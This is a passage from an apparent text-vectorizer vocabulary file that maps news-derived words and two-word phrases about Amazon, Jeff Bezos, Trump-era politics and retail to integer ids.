\"critical role\": 218445,\n  \"bay calif\": 218446,\n  \"pleebles\": 218447,\n  \"taxes states\": 218448,\n  \"today karl\": 218449,\n  \"regarding russian\": 218450,\n  \"virgil stevens\": 218451,\n  \"allow dominion\": 218452,\n  \"nasdaq 575\": 218453,\n  \"keatonesque stoicism\": 218454,\n  \"stolen\": 218455,\n  \"solid overall\": 218456,\n  \"trump bombastic\": 218457,\n  \"grief\": 218458,\n  \"online orders\": 218459,\n  \"claims fall\": 218460,\n  \"theories brainwashed\": 218461,\n  \"hotel huffpo\": 218462,\n  \"news reporter\": 218463,\n  \"unconventional police\": 218464,\n  \"2018 struck\": 218465,\n  \"injury families\": 218466,\n  \"alleged blackmail\": 218467,\n  \"actually eat\": 218468,\n  \"stimulate retail\": 218469,\n  \"homelessness affordable\": 218470,\n  \"sally donnelly\": 218471,\n  \"lyft crackdown\": 218472,\n  \"restore\": 218473,\n  \"manager unloaded\": 218474,\n  \"amazon monopolistic\": 218475,\n  \"outside forces\": 218476,\n  \"specifically discussed\": 218477,\n  \"outfit\": 218478,\n  \"isn constructed\": 218479,\n  \"portfolio atalanta\": 218480,\n  \"say benjy\": 218481,\n  \"dominating\": 218482,\n  \"amazon search\": 218483,\n  \"targeted drone\": 218484,\n  \"riverdale\": 218485,\n  \"spheres amazon\": 218486,\n  \"amazon asked\": 218487,\n  \"sought study\": 218488,\n  \"holiday salesbut\": 218489,\n  \"service slipping\": 218490,\n  \"nyt lisa\": 218491,\n  \"chef thomas\": 218492,\n  \"parent significant\": 218493,\n  \"connie\": 218494,\n  \"candidate alexandria\": 218495,\n  \"mentioned\": 218496,\n  \"reuters archive\": 218497,\n  \"righteousness\": 218498,\n  \"ross gerber\": 218499,\n  \"somee\": 218500,\n  \"newspaper told\": 218501,\n  \"possibly stemmed\": 218502,\n  \"newsletter prior\": 218503,\n  \"brought people\": 218504,\n  \"russiainvestigation\": 218505,\n  \"perrine\": 218506,\n  \"drywall\": 218507,\n  \"big disappointment\": 218508,\n  \"schiff adam\": 218509,\n  \"rep ro\": 218510,\n  \"preferred sto\": 218511,\n  \"latest outburst\": 218512,\n  \"transgender solidarity\": 218513,\n  \"probably china\": 218514,\n  \"excessive\": 218515,\n  \"expressing admiration\": 218516,\n  \"invasive privacy\": 218517,\n  \"emanuel run\": 218518,\n  \"closes amazon\": 218519,\n  \"committee told\": 218520,\n  \"shouting match\": 218521,\n  \"chapter\": 218522,\n  \"piece martinez\": 218523,\n  \"past tragedies\": 218524,\n  \"took shot\": 218525,\n  \"people 2018\": 218526,\n  \"york remain\": 218527,\n  \"lewis spokesman\": 218528,\n  \"block president\": 218529,\n  \"recovery game\": 218530,\n  \"cnl_filelocation lead\": 218531,\n  \"vote bergh\": 218532,\n  \"jumbo jets\": 218533,\n  \"safeguard america\": 218534,\n  \"globes8\": 218535,\n  \"intelligence james\": 218536,\n  \"grey books\": 218537,\n  \"globalist bezos\": 218538,\n  \"trump radio\": 218539,\n  \"nasdaq fairing\": 218540,\n  \"shoppers desires\": 218541,\n  \"dent think\": 218542,\n  \"versus 2018\": 218543,\n  \"walmart remains\": 218544,\n  \"pilot local\": 218545,\n  \"increased upward\": 218546,\n  \"core pce\": 218547,\n  \"delivery cohn\": 218548,\n  \"state politicians\": 218549,\n  \"held dem\": 218550,\n  \"postings board\": 218551,\n  \"express shares\": 218552,\n  \"king county\": 218553,\n  \"ride bonuses\": 218554,\n  \"handful\": 218555,\n  \"falls short\": 218556,\n  \"customer information\": 218557,\n  \"lock horns\": 218558,\n  \"old black\": 218559,\n  \"lauren\": 218560,\n  \"apple blew\": 218561,\n  \"nafta trump\": 218562,\n  \"topics discussed\": 218563,\n  \"gas emissions\": 218564,\n  \"comment walmart\": 218565,\n  \"duties include\": 218566,\n  \"employees reportedly\": 218567,\n  \"commuter\": 218568,\n  \"2018 adding\": 218569,\n  \"uncut\": 218570,\n  \"strong advocate\": 218571,\n  \"holiday european\": 218572,\n  \"comment section\": 218573,\n  \"set snow\": 218574,\n  \"convention team\": 218575,\n  \"economictimes indiatimes\": 218576,\n  \"file picture\": 218577,\n  \"jens david\": 218578,\n  \"722 shares\": 218579,\n  \"senators fox\": 218580,\n  \"outsized market\": 218581,\n  \"including united\": 218582,\n  \"peccadillo\": 218583,\n  \"tandy\": 218584,\n  \"bond author\": 218585,\n  \"survival act\": 218586,\n  \"definite liberal\": 218587,\n  \"network ceo\": 218588,\n  \"luck wish\": 218589,\n  \"retirement security\": 218590,\n  \"2007 saul\": 218591,\n  \"su china\": 218592,\n  \"shipping surtax\": 218593,\n  \"bloodworth worked\": 218594,\n  \"google comparison\": 218595,\n  \"caller podcast\": 218596,\n  \"amd\": 218597,\n  \"reagan set\": 218598,\n  \"follow amber\": 218599,\n  \"mayor bad\": 218600,\n  \"reporting opinion\": 218601,\n  \"company outlook\": 218602,\n  \"credit nbc\": 218603,\n  \"house floor\": 218604,\n  \"malmquist lead\": 218605,\n  \"comedy drama\": 218606,\n  \"real profit\": 218607,\n  \"place students\": 218608,\n  \"monitor worldwide\": 218609,\n  \"governorcuomo\": 218610,\n  \"spark inflation\": 218611,\n  \"nafta partners\": 218612,\n  \"amazon children\": 218613,\n  \"amplified republican\": 218614,\n  \"repurposed\": 218615,\n  \"fibreglass mounted\": 218616,\n  \"recent book\": 218617,\n  \"paradise california\": 218618,\n  \"night sales\": 218619,\n  \"commercials cheddar\": 218620,\n  \"strip dimmed\": 218621,\n  \"scott applewhite\": 218622,\n  \"having split\": 218623,\n  \"quit prim\": 218624,\n  \"begun ray\": 218625,\n  \"jerry nadler\": 218626,\n  \"men inc_code_only_text\": 218627,\n  \"fierce protectors\": 218628,\n  \"autumn wsj\": 218629,\n  \"starts running\": 218630,\n  \"amazon fluke\": 218631,\n  \"amazon hover\": 218632,\n  \"product codes\": 218633,\n  \"need growth\": 218634,\n  \"market charlie\": 218635,\n  \"ride boston\": 218636,\n  \"50th birthday\": 218637,\n  \"television spectacle\": 218638,\n  \"advisor chris\": 218639,\n  \"fundamentals formulas\": 218640,\n  \"divinity\": 218641,\n  \"grinnell\": 218642,\n  \"amazons\": 218643,\n  \"wears\": 218644,\n  \"deportations\": 218645,\n  \"multiple election\": 218646,\n  \"country biggest\": 218647,\n  \"combining\": 218648,\n  \"demand change\": 218649,\n  \"alexandria\": 218650,\n  \"ratcheting screwdriver\": 218651,\n  \"prominent opponent\": 218652,\n  \"cheerleader\": 218653,\n  \"hotel business\": 218654,\n  \"antipoverty\": 218655,\n  \"voters read\": 218656,\n  \"challenge incumbent\": 218657,\n  \"provide grants\": 218658,\n  \"blaise\": 218659,\n  \"deals buzz60\": 218660,\n  \"independent investigations\": 218661,\n  \"fellow new\": 218662,\n  \"quartz index\": 218663,\n  \"operations lot\": 218664,\n  \"rare public\": 218665,\n  \"slave burial\": 218666,\n  \"amazon personally\": 218667,\n  \"don operate\": 218668,\n  \"rubric\": 218669,\n  \"capitalism 2019\": 218670,\n  \"contracting donnelly\": 218671,\n  \"charlotte city\": 218672,\n  \"contributing columnist\": 218673,\n  \"trump marks\": 218674,\n  \"illegal immigrants\": 218675,\n  \"economic value\": 218676,\n  \"watchdog lightly\": 218677,\n  \"jinping overseas\": 218678,\n  \"eric eric\": 218679,\n  \"economy entertainment\": 218680,\n  \"eagan\": 218681,\n  \"include manufacturing\": 218682,\n  \"sue desmond\": 218683,\n  \"sanders repeatedly\": 218684,\n  \"justification\": 218685,\n  \"deficiencies instead\": 218686,\n  \"money printing\": 218687,\n  \"brings prosperity\": 218688,\n  \"fault solely\": 218689,\n  \"pay personal\": 218690,\n  \"2fpolitics\": 218691,\n  \"routinely violates\": 218692,\n  \"putting thousands\": 218693,\n  \"upfront cost\": 218694,\n  \"america growing\": 218695,\n  \"select just\": 218696,\n  \"rejected president\": 218697,\n  \"market seriously\": 218698,\n  \"glencore\": 218699,\n  \"small vendor\": 218700,\n  \"smith confirmed\": 218701,\n  \"voter registration\": 218702,\n  \"100 miles\": 218703,\n  \"democratic administrations\": 218704,\n  \"new legislation\": 218705,\n  \"bank stated\": 218706,\n  \"fortune despite\": 218707,\n  \"enjoy swift\": 218708,\n  \"burns matt\": 218709,\n  \"nicotine vape\": 218710,\n  \"amazon clean\": 218711,\n  \"government efforts\": 218712,\n  \"jedi does\": 218713,\n  \"complexity\": 218714,\n  \"comprehensive year\": 218715,\n  \"worry john\": 218716,\n  \"tough\": 218717,\n  \"cnn anchor\": 218718,\n  \"proudly declared\": 218719,\n  \"netflix nasdaq\": 218720,\n  \"amazon underappreciated\": 218721,\n  \"million addresses\": 218722,\n  \"alex salkever\": 218723,\n  \"function cb\": 218724,\n  \"cavs\": 218725,\n  \"pay investors\": 218726,\n  \"true promoimage\": 218727,\n  \"laurel johnson\": 218728,\n  \"massachusetts senator\": 218729,\n  \"country forest\": 218730,\n  \"bills donald\": 218731,\n  \"government post\": 218732,\n  \"massachusetts town\": 218733,\n  \"deeply flawed\": 218734,\n  \"billion eclipsing\": 218735,\n  \"bezoes\": 218736,\n  \"jack exas\": 218737,\n  \"suspicious members\": 218738,\n  \"money4 pictures\": 218739,\n  \"runs company\": 218740,\n  \"talks body\": 218741,\n  \"gonzalez charged\": 218742,\n  \"steers\": 218743,\n  \"morning investigators\": 218744,\n  \"wealth making\": 218745,\n  \"profit eventually\": 218746,\n  \"somebody politically\": 218747,\n  \"market destroyed\": 218748,\n  \"congressman ryan\": 218749,\n  \"retailer analysts\": 218750,\n  \"000 truck\": 218751,\n  \"optional chess\": 218752,\n  \"productivity repubs\": 218753,\n  \"enthusiastically\": 218754,\n  \"enormous impact\": 218755,\n  \"deaf doesn\": 218756,\n  \"companies artificially\": 218757,\n  \"behalf\": 218758,\n  \"cheap gas\": 218759,\n  \"curation habits\": 218760,\n  \"bezos trolling\": 218761,\n  \"image 1230x1672\": 218762,\n  \"popular readers\": 218763,\n  \"515 foreign\": 218764,\n  \"complete guide\": 218765,\n  \"tax deductible\": 218766,\n  \"usatodaysports fightbookmma\": 218767,\n  \"control4\": 218768,\n  \"barr minutes\": 218769,\n  \"transformations\": 218770,\n  \"white box\": 218771,\n  \"sources note\": 218772,\n  \"investments mark\": 218773,\n  \"policing business\": 218774,\n  \"rival health\": 218775,\n  \"reportedly proposed\": 218776,\n  \"stores\": 218777,\n  \"fueled rise\": 218778,\n  \"preschool education\": 218779,\n  \"daredevil\": 218780,\n  \"2017 trump\": 218781,\n  \"pregnant wife\": 218782,\n  \"morning dow\": 218783,\n  \"claims gou\": 218784,\n  \"verlagingen\": 218785,\n  \"better cover\": 218786,\n  \"2023\": 218787,\n  \"street revenue\": 218788,\n  \"virtual monopoly\": 218789,\n  \"rbc capital\": 218790,\n  \"secret spy\": 218791,\n  \"faced significant\": 218792,\n  \"b6\": 218793,\n  \"notable books\": 218794,\n  \"courtland martens\": 218795,\n  \"conservative leaning\": 218796,\n  \"new heroes\": 218797,\n  \"latest white\": 218798,\n  \"alona\": 218799,\n  \"average home\": 218800,\n  \"drafting plan\": 218801,\n  \"time honored\": 218802,\n  \"business don\": 218803,\n  \"poor received\": 218804,\n  \"event hosted\": 218805,\n  \"program gives\": 218806,\n  \"truck pull\": 218807,\n  \"taxes high\": 218808,\n  \"expenses modest\": 218809,\n  \"deducting\": 218810,\n  \"bozo bezos\": 218811,\n  \"shopping season\": 218812,\n  \"smoke\": 218813,\n  \"story china\": 218814,\n  \"51554478900\": 218815,\n  \"rekindling intimacy\": 218816,\n  \"mandymh82\": 218817,\n  \"explicit selfies\": 218818,\n  \"department federal\": 218819,\n  \"managing techniques\": 218820,\n  \"angel felix\": 218821,\n  \"case involving\": 218822,\n  \"credibilityissues\": 218823,\n  \"governments decision\": 218824,\n  \"distribution contract\": 218825,\n  \"snowden disclosures\": 218826,\n  \"computer buy\": 218827,\n  \"rech\": 218828,\n  \"elevated position\": 218829,\n  \"amazon withdrew\": 218830,\n  \"values republicans\": 218831,\n  \"trending joy\": 218832,\n  \"fortune reports\": 218833,\n  \"right man\": 218834,\n  \"jacknicas\": 218835,\n  \"weeks penguin\": 218836,\n  \"cmpid socialflow\": 218837,\n  \"writ small\": 218838,\n  \"years unfortunately\": 218839,\n  \"turbines\": 218840,\n  \"donations \\u014277\": 218841,\n  \"open hearing\": 218842,\n  \"woodwar\": 218843,\n  \"spend online\": 218844,\n  \"npi\": 218845,\n  \"did comedian\": 218846,\n  \"cities amazon\": 218847,\n  \"profits chief\": 218848,\n  \"resigned amid\": 218849,\n  \"sells ivanka\": 218850,\n  \"uber ipo\": 218851,\n  \"won raise\": 218852,\n  \"ban bezos\": 218853,\n  \"identify path\": 218854,\n  \"rescuing\": 218855,\n  \"jungle\": 218856,\n  \"jones futures\": 218857,\n  \"dangerous working\": 218858,\n  \"allegedly uncovered\": 218859,\n  \"appropriations committees\": 218860,\n  \"opportunity doesn\": 218861,\n  \"individual candidates\": 218862,\n  \"don really\": 218863,\n  \"sound patently\": 218864,\n  \"pact signed\": 218865,\n  \"fearstrump attacks\": 218866,\n  \"leaked photos\": 218867,\n  \"makes socialism\": 218868,\n  \"association vta\": 218869,\n  \"following sears\": 218870,\n  \"tirade\": 218871,\n  \"country coalition\": 218872,\n  \"office saw\": 218873,\n  \"pursuing story\": 218874,\n  \"management corporation\": 218875,\n  \"nova southeastern\": 218876,\n  \"described trump\": 218877,\n  \"handling\": 218878,\n  \"facts lead\": 218879,\n  \"minister leo\": 218880,\n  \"unnamed sources\": 218881,\n  \"fundingbill\": 218882,\n  \"run option\": 218883,\n  \"barre\": 218884,\n  \"teens collide\": 218885,\n  \"lived progressive\": 218886,\n  \"business leader\": 218887,\n  \"disquisitions range\": 218888,\n  \"nvidia website\": 218889,\n  \"england photo\": 218890,\n  \"beast citing\": 218891,\n  \"line yes\": 218892,\n  \"following defendant\": 218893,\n  \"video_headline\": 218894,\n  \"year tax\": 218895,\n  \"investor john\": 218896,\n  \"sparta\": 218897,\n  \"paint amazon\": 218898,\n  \"moreira\": 218899,\n  \"gilgun\": 218900,\n  \"munchable\": 218901,\n  \"rech incorporated\": 218902,\n  \"litigation cost\": 218903,\n  \"business single\": 218904,\n  \"special police\": 218905,\n  \"committed infractions\": 218906,\n  \"boca\": 218907,\n  \"wholesalers seeking\": 218908,\n  \"lovers ensued\": 218909,\n  \"tal ben\": 218910,\n  \"mclellan jeremymclellan\": 218911,\n  \"renovated home\": 218912,\n  \"professor fisman\": 218913,\n  \"global spending\": 218914,\n  \"representatives members\": 218915,\n  \"newly announced\": 218916,\n  \"strzok\": 218917,\n  \"fueling added\": 218918,\n  \"willimon house\": 218919,\n  \"detect faces\": 218920,\n  \"ariel leve\": 218921,\n  \"criticized coverage\": 218922,\n  \"index html\": 218923,\n  \"launch 1007\": 218924,\n  \"america agenda\": 218925,\n  \"included screenshot\": 218926,\n  \"medicaid think\": 218927,\n  \"electrician\": 218928,\n  \"director edgar\": 218929,\n  \"materials needed\": 218930,\n  \"wing populism\": 218931,\n  \"499\": 218932,\n  \"isn rich\": 218933,\n  \"file glen\": 218934,\n  \"prices gary\": 218935,\n  \"loathe cronyism\": 218936,\n  \"hans\": 218937,\n  \"grossly irresponsible\": 218938,\n  \"say iphone\": 218939,\n  \"environmental bodies\": 218940,\n  \"nasdaq fb\": 218941,\n  \"york struggling\": 218942,\n  \"imagealt snl\": 218943,\n  \"street 2019\": 218944,\n  \"career worker\": 218945,\n  \"aspirin\": 218946,\n  \"lucrecia\": 218947,\n  \"registry\": 218948,\n  \"damned blackmail\": 218949,\n  \"listed trading\": 218950,\n  \"nixon watergate\": 218951,\n  \"standout needless\": 218952,\n  \"hill susan\": 218953,\n  \"hq2 campus\": 218954,\n  \"imagine online\": 218955,\n  \"current median\": 218956,\n  \"founder peter\": 218957,\n  \"mayjeong jeong\": 218958,\n  \"isn notorious\": 218959,\n  \"country finances\": 218960,\n  \"director stephanie\": 218961,\n  \"nyt story\": 218962,\n  \"essay short\": 218963,\n  \"gun laws\": 218964,\n  \"bottoms continues\": 218965,\n  \"swilling vampire\": 218966,\n  \"professional journalism\": 218967,\n  \"mailer\": 218968,\n  \"sliver\": 218969,\n  \"campuses\": 218970,\n  \"savery hall\": 218971,\n  \"sxsw\": 218972,\n  \"publishers ny\": 218973,\n  \"arkells\": 218974,\n  \"school graduation\": 218975,\n  \"title isn\": 218976,\n  \"products whatsoever\": 218977,\n  \"dollars profit\": 218978,\n  \"layoff employees\": 218979,\n  \"tablet jquery\": 218980,\n  \"359 bought\": 218981,\n  \"rachel hollis\": 218982,\n  \"nvidia corp\": 218983,\n  \"offer little\": 218984,\n  \"glorious chart\": 218985,\n  \"moving pr\": 218986,\n  \"cohen landed\": 218987,\n  \"edward smith\": 218988,\n  \"attention right\": 218989,\n  \"prize ridiculous\": 218990,\n  \"doesn address\": 218991,\n  \"ruggedized storage\": 218992,\n  \"kalanick kalanick\": 218993,\n  \"does bull\": 218994,\n  \"immaturian\": 218995,\n  \"backbone ought\": 218996,\n  \"crazy challenges\": 218997,\n  \"mike satz\": 218998,\n  \"affiliation tells\": 218999,\n  \"night talking\": 219000,\n  \"positions sanders\": 219001,\n  \"pitched tech\": 219002,\n  \"times giant\": 219003,\n  \"talk facebook\": 219004,\n  \"quadrant\": 219005,\n  \"sell qanon\": 219006,\n  \"involve issuing\": 219007,\n  \"elite\": 219008,\n  \"studios says\": 219009,\n  \"data security\": 219010,\n  \"lines ahead\": 219011,\n  \"madcap cnbc\": 219012,\n  \"counterfeiting efforts\": 219013,\n  \"standoff\": 219014,\n  \"life today\": 219015,\n  \"competition particularly\": 219016,\n  \"monarch staring\": 219017,\n  \"religious differences\": 219018,\n  \"gross overstatements\": 219019,\n  \"really matters\": 219020,\n  \"mocks\": 219021,\n  \"1150x540 uploaded_files\": 219022,\n  \"pryoesshex\": 219023,\n  \"unhelpful\": 219024,\n  \"initiatives interesting\": 219025,\n  \"politics previously\": 219026,\n  \"legal investigations\": 219027,\n  \"cnns acosta\": 219028,\n  \"eponymous tv\": 219029,\n  \"check bag\": 219030,\n  \"whiplash\": 219031,\n  \"foreign trip\": 219032,\n  \"triggering fall\": 219033,\n  \"better police\": 219034,\n  \"deputies returned\": 219035,\n  \"ho jeff\": 219036,\n  \"presents instead\": 219037,\n  \"toy looks\": 219038,\n  \"brendan rose\": 219039,\n  \"deray\": 219040,\n  \"reexamine\": 219041,\n  \"northern blvd\": 219042,\n  \"k7bceiovv9\": 219043,\n  \"perry oracle\": 219044,\n  \"michael woff\": 219045,\n  \"kate\": 219046,\n  \"horrible shoplocal\": 219047,\n  \"workers refugee\": 219048,\n  \"stoked\": 219049,\n  \"hoover\": 219050,\n  \"george believed\": 219051,\n  \"asked ebay\": 219052,\n  \"thomson\": 219053,\n  \"descriptionplaintext elon\": 219054,\n  \"hestartedit\": 219055,\n  \"senator\": 219056,\n  \"message page\": 219057,\n  \"players brightcove\": 219058,\n  \"letitia\": 219059,\n  \"eric ripert\": 219060,\n  \"local retailers\": 219061,\n  \"hydro flask\": 219062,\n  \"mersey\": 219063,\n  \"unwrapped\": 219064,\n  \"goodness\": 219065,\n  \"snipes\": 219066,\n  \"maria haven\": 219067,\n  \"controversial items\": 219068,\n  \"night qanon\": 219069,\n  \"reclaim specific\": 219070,\n  \"gamble\": 219071,\n  \"tax disclosure\": 219072,\n  \"including hermes\": 219073,\n  \"journalism produced\": 219074,\n  \"dislikes richer\": 219075,\n  \"claims vaccine\": 219076,\n  \"conspiracy involving\": 219077,\n  \"workers received\": 219078,\n  \"archetypes\": 219079,\n  \"records paves\": 219080,\n  \"wryness lightness\": 219081,\n  \"various sinclair\": 219082,\n  \"additional legislation\": 219083,\n  \"follow william\": 219084,\n  \"harsh words\": 219085,\n  \"big announcement\": 219086,\n  \"investigator\": 219087,\n  \"delayed reuters\": 219088,\n  \"white nationalist\": 219089,\n  \"justin fairfax\": 219090,\n  \"including damara\": 219091,\n  \"geek\": 219092,\n  \"forms online_services\": 219093,\n  \"andy breckman\": 219094,\n  \"paradigm resulted\": 219095,\n  \"missing context\": 219096,\n  \"complaints donald\": 219097,\n  \"humor daily\": 219098,\n  \"blume\": 219099,\n  \"trump obama\": 219100,\n  \"martha wagner\": 219101,\n  \"film claiming\": 219102,\n  \"sprint\": 219103,\n  \"93f\": 219104,\n  \"greater involvement\": 219105,\n  \"shaking investors\": 219106,\n  \"weddings ross\": 219107,\n  \"financial arrangements\": 219108,\n  \"motors did\": 219109,\n  \"fines compelled\": 219110,\n  \"alleged discrimination\": 219111,\n  \"similar characters\": 219112,\n  \"mean developing\": 219113,\n  \"busiest day\": 219114,\n  \"great keziah\": 219115,\n  \"markets limited\": 219116,\n  \"does pay\": 219117,\n  \"plus live\": 219118,\n  \"foundation aid\": 219119,\n  \"harassing\": 219120,\n  \"uk tax\": 219121,\n  \"seasonal employees\": 219122,\n  \"enquirer previously\": 219123,\n  \"path trump\": 219124,\n  \"border illegally\": 219125,\n  \"people substantially\": 219126,\n  \"envelope\": 219127,\n  \"musk claiming\": 219128,\n  \"key service\": 219129,\n  \"magazine real\": 219130,\n  \"hollen\": 219131,\n  \"press related\": 219132,\n  \"true diversity\": 219133,\n  \"appraiser\": 219134,\n  \"entertainment writer\": 219135,\n  \"change content\": 219136,\n  \"son\": 219137,\n  \"rainforests\": 219138,\n  \"senate does\": 219139,\n  \"tyhee hickman\": 219140,\n  \"cold open\": 219141,\n  \"copyright cbs\": 219142,\n  \"response houston\": 219143,\n  \"brokered meeting\": 219144,\n  \"saw impressive\": 219145,\n  \"brian daly\": 219146,\n  \"dry season\": 219147,\n  \"nasdaq qcom\": 219148,\n  \"bose editing\": 219149,\n  \"false bannerposition\": 219150,\n  \"animals trees\": 219151,\n  \"hateful nasty\": 219152,\n  \"things disney\": 219153,\n  \"uh\": 219154,\n  \"workflows\": 219155,\n  \"heller school\": 219156,\n  \"resisted\": 219157,\n  \"real businesses\": 219158,\n  \"costumes royal\": 219159,\n  \"project especially\": 219160,\n  \"unconstitutional egypt\": 219161,\n  \"large stream\": 219162,\n  \"pratt captioned\": 219163,\n  \"trump inflated\": 219164,\n  \"multiple letters\": 219165,\n  \"trump stone\": 219166,\n  \"state prohibit\": 219167,\n  \"trump favorite\": 219168,\n  \"90s hit\": 219169,\n  \"reflect bigger\": 219170,\n  \"media president\": 219171,\n  \"punches\": 219172,\n  \"complex portrait\": 219173,\n  \"woman months\": 219174,\n  \"deal michelle\": 219175,\n  \"individual entrepreneurs\": 219176,\n  \"sc trump\": 219177,\n  \"appointing postal\": 219178,\n  \"trash\": 219179,\n  \"fbi arrests\": 219180,\n  \"bearing resemblance\": 219181,\n  \"dutch sandwich\": 219182,\n  \"beverage industry\": 219183,\n  \"wants people\": 219184,\n  \"currently hold\": 219185,\n  \"billings\": 219186,\n  \"affordable housing\": 219187,\n  \"prep school\": 219188,\n  \"recently completed\": 219189,\n  \"overwhelming gop\": 219190,\n  \"bezos taking\": 219191,\n  \"affordable cap\": 219192,\n  \"plus page\": 219193,\n  \"took big\": 219194,\n  \"calories\": 219195,\n  \"powerful brands\": 219196,\n  \"article contf\": 219197,\n  \"private delivery\": 219198,\n  \"gertz\": 219199,\n  \"behemoths apple\": 219200,\n  \"cameos\": 219201,\n  \"special report\": 219202,\n  \"politics johnking\": 219203,\n  \"favorite network\": 219204,\n  \"company huge\": 219205,\n  \"cancel pending\": 219206,\n  \"hikes trump\": 219207,\n  \"governmental set\": 219208,\n  \"page declined\": 219209,\n  \"ramos released\": 219210,\n  \"international names\": 219211,\n  \"block music\": 219212,\n  \"bezos interviewed\": 219213,\n  \"karen mcdougall\": 219214,\n  \"azzopardi mocked\": 219215,\n  \"dire financial\": 219216,\n  \"complete abandonment\": 219217,\n  \"suggested gracie\": 219218,\n  \"misadventures\": 219219,\n  \"tryingto\": 219220,\n  \"president competence\": 219221,\n  \"1995 commerce\": 219222,\n  \"neckline dress\": 219223,\n  \"staff hits\": 219224,\n  \"shoe nyc\": 219225,\n  \"ariz ap\": 219226,\n  \"main readings\": 219227,\n  \"retail sector\": 219228,\n  \"hpq according\": 219229,\n  \"motivated cities\": 219230,\n  \"lists senator\": 219231,\n  \"wildfires melting\": 219232,\n  \"posting young\": 219233,\n  \"trump supposedly\": 219234,\n  \"ceasing\": 219235,\n  \"pagey\": 219236,\n  \"jassy asked\": 219237,\n  \"blackmail abramowitz\": 219238,\n  \"567k reports\": 219239,\n  \"national linked\": 219240,\n  \"vigor\": 219241,\n  \"hell amazon\": 219242,\n  \"facto monopolies\": 219243,\n  \"big institutions\": 219244,\n  \"bit light\": 219245,\n  \"disrupting just\": 219246,\n  \"change secondary\": 219247,\n  \"takes policy\": 219248,\n  \"trade restrictions\": 219249,\n  \"bigger companies\": 219250,\n  \"the\\u0430donkey\\u0430is\": 219251,\n  \"whitefish friend\": 219252,\n  \"aired\": 219253,\n  \"fundamentals did\": 219254,\n  \"president attacked\": 219255,\n  \"steel sculpture\": 219256,\n  \"captures nearly\": 219257,\n  \"separate units\": 219258,\n  \"cloud dod\": 219259,\n  \"leaveshare\": 219260,\n  \"comment 5g\": 219261,\n  \"sustaining\": 219262,\n  \"shipping perk\": 219263,\n  \"enomoto\": 219264,\n  \"months bolden\": 219265,\n  \"corporate behemoths\": 219266,\n  \"racial\": 219267,\n  \"5th avenue\": 219268,\n  \"officials discouraging\": 219269,\n  \"arpu\": 219270,\n  \"msci turkey\": 219271,\n  \"based lifestyle\": 219272,\n  \"vuitton handbags\": 219273,\n  \"festival type\": 219274,\n  \"fdx according\": 219275,\n  \"shipper isn\": 219276,\n  \"la rep\": 219277,\n  \"sword believing\": 219278,\n  \"comment minutes\": 219279,\n  \"internet connectivity\": 219280,\n  \"cease providing\": 219281,\n  \"blasio right\": 219282,\n  \"antitrust regulation\": 219283,\n  \"fallout shows\": 219284,\n  \"woo companies\": 219285,\n  \"writes king5\": 219286,\n  \"lawyer robert\": 219287,\n  \"company causing\": 219288,\n  \"normal trump\": 219289,\n  \"contender\": 219290,\n  \"ecolab urges\": 219291,\n  \"shares sumitomo\": 219292,\n  \"election breaking\": 219293,\n  \"outgoing chair\": 219294,\n  \"jpg 1940x900\": 219295,\n  \"user doorstep\": 219296,\n  \"set crime\": 219297,\n  \"news bing\": 219298,\n  \"gass knopf\": 219299,\n  \"million consumers\": 219300,\n  \"force employers\": 219301,\n  \"newspaper workers\": 219302,\n  \"constantly frustrated\": 219303,\n  \"transport soy\": 219304,\n  \"republicans talk\": 219305,\n  \"tellingly\": 219306,\n  \"york promised\": 219307,\n  \"sports thing\": 219308,\n  \"company aggressive\": 219309,\n  \"legal battle\": 219310,\n  \"fred\": 219311,\n  \"close ties\": 219312,\n  \"conference businesswire\": 219313,\n  \"getting east\": 219314,\n  \"nixon tried\": 219315,\n  \"connie britton\": 219316,\n  \"argues scott\": 219317,\n  \"theodos\": 219318,\n  \"frankly investors\": 219319,\n  \"keefe\": 219320,\n  \"justice peele\": 219321,\n  \"live chickens\": 219322,\n  \"sources host\": 219323,\n  \"general megan\": 219324,\n  \"provide incomplete\": 219325,\n  \"continually refine\": 219326,\n  \"individuals\": 219327,\n  \"environmental issues\": 219328,\n  \"conditions described\": 219329,\n  \"critics concerns\": 219330,\n  \"jwestbrook1 bloomberg\": 219331,\n  \"doubt contributed\": 219332,\n  \"eric swalwell\": 219333,\n  \"suppress content\": 219334,\n  \"initial attacks\": 219335,\n  \"master deal\": 219336,\n  \"fruitless art\": 219337,\n  \"language paul\": 219338,\n  \"alexa secretive\": 219339,\n  \"prime costs\": 219340,\n  \"nice haven\": 219341,\n  \"report don\": 219342,\n  \"lisota ranveer\": 219343,\n  \"progressive state\": 219344,\n  \"nypd\": 219345,\n  \"images server719398\": 219346,\n  \"told 2018\": 219347,\n  \"dc smashracismdc\": 219348,\n  \"matador\": 219349,\n  \"mai capital\": 219350,\n  \"status aslam\": 219351,\n  \"commerce ministry\": 219352,\n  \"attorney client\": 219353,\n  \"shift away\": 219354,\n  \"buck\": 219355,\n  \"foisted\": 219356,\n  \"remarks donald\": 219357,\n  \"cayman islands\": 219358,\n  \"sa\": 219359,\n  \"consultant senate\": 219360,\n  \"brexit delay\": 219361,\n  \"gibson melgibsonfilms\": 219362,\n  \"real personal\": 219363,\n  \"running lights\": 219364,\n  \"cnn interview\": 219365,\n  \"large buyer\": 219366,\n  \"choices final\": 219367,\n  \"tax deduction\": 219368,\n  \"coalition suggests\": 219369,\n  \"hide\": 219370,\n  \"latest step\": 219371,\n  \"help\": 219372,\n  \"posted photo\": 219373,\n  \"disseminating hate\": 219374,\n  \"vucci associated\": 219375,\n  \"enemies trump\": 219376,\n  \"uploads 2017\": 219377,\n  \"aviolation\": 219378,\n  \"schwartz scott\": 219379,\n  \"credit freeze\": 219380,\n  \"star cast\": 219381,\n  \"reality television\": 219382,\n  \"smaller consumer\": 219383,\n  \"walmart inventory\": 219384,\n  \"packages await\": 219385,\n  \"signing\": 219386,\n  \"temporarily knocked\": 219387,\n  \"buckinghamshire\": 219388,\n  \"prakriya partner\": 219389,\n  \"artificially higher\": 219390,\n  \"ohio republican\": 219391,\n  \"phone services\": 219392,\n  \"difficult says\": 219393,\n  \"labarbera president\": 219394,\n  \"vibram soles\": 219395,\n  \"starring dhruv\": 219396,\n  \"leave questions\": 219397,\n  \"queen cuisine\": 219398,\n  \"illegal aliens\": 219399,\n  \"state reporter\": 219400,\n  \"ultimately affect\": 219401,\n  \"president regularly\": 219402,\n  \"lexington institute\": 219403,\n  \"company announcement\": 219404,\n  \"wrote cnbc\": 219405,\n  \"254 shares\": 219406,\n  \"began cooking\": 219407,\n  \"amazon pointy\": 219408,\n  \"chooses\": 219409,\n  \"changes announced\": 219410,\n  \"washington favor\": 219411,\n  \"ann mendoza\": 219412,\n  